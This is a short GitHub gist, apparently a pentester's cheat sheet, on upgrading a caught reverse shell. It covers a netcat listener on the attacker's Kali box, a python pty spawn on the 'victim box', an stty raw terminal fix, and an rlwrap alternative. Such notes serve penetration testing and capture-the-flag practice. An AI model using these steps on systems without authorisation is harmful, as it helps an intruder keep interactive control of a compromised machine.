Skip to content

Instantly share code, notes, and snippets.

@fazlearefin
Last active February 24, 2024 02:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fazlearefin/1c8ece34146ccb5f96a7aeddd611cec4 to your computer and use it in GitHub Desktop.
Save fazlearefin/1c8ece34146ccb5f96a7aeddd611cec4 to your computer and use it in GitHub Desktop.
Stabilize reverse shell

Stabilize reverse shell

using python trick for full interactive prompt

# on kali
nc -vlnp 5555
## wait for the reverse shell prompt to initiate

# on victim box
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'

Ctrl+z

# on kali
stty raw -echo; fg

# on victim box
export TERM=xterm        # this may not be required
stty cols 132 rows 34    # optional; accommodates more text

using rlwrap (PS prompt will not show)

Use rlwrap when you don't want to use the python trick or if python is not available. rlwrap does not work nicely with the pyton trick. So don't use both together.

# on kali
rlwrap nc -vlnp 5555
## wait for the reverse shell prompt to initiate

# on victim box
## arrow keys and ctrl-l will now work

vim does not work with rlwrap

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment